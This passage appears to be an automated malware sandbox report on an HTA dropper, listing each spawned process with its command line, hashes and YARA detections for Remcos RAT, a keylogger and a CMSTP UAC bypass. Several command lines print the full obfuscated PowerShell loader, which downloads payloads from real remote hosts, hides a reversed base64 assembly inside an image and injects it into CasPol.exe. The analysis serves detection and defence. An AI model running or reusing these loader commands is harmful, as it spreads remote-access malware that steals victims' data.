8b e7 11 50 b7 c9 20 51 e9 90 7a 57 eb 80 db ca ad 1b ad d9 2c 9d 01 e4 05 20 9f ce b0 53 32 bd b2 b5 92 ec 7e 9c 56 2f 59 74 0c cc 15 41 26 fa 60 3b 29 54 12 13 20 2c d0 a2 80 a0 fb Data Ascii: ]_vO:$YX#!=w.lf^P-}j!T;A vX<n}4hVx :C8T0O\70*Hh8?H<XI<@ JN H/DzP QzW, S2~V/YtA&`;)T ,

Target ID:	0
Start time:	11:18:02
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\seethebestthignswhichgivingbestopportunities.hta"
Imagebase:	0x630000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	1
Start time:	11:18:04
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"
Imagebase:	0x320000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	11:18:04
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	11:18:04
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT
Imagebase:	0x320000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	11:18:10
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.cmdline"
Imagebase:	0xdf0000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	11
Start time:	11:18:11
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES883E.tmp" "c:\Users\user\AppData\Local\Temp\2c1bgmxj\CSC89B293BFADB94B3BBFCBA07F5ADB38CA.TMP"
Imagebase:	0xc60000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	13
Start time:	11:18:17
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seehavingfacingbestthignstogetmebackwithentiretimegre.vbS"
Imagebase:	0x320000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	11:18:18
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x320000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	11:18:18
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	16
Start time:	11:18:18
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"
Imagebase:	0x320000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	18
Start time:	12:53:16
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0x590000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.3693144012.00000000027BE000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.3689257366.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false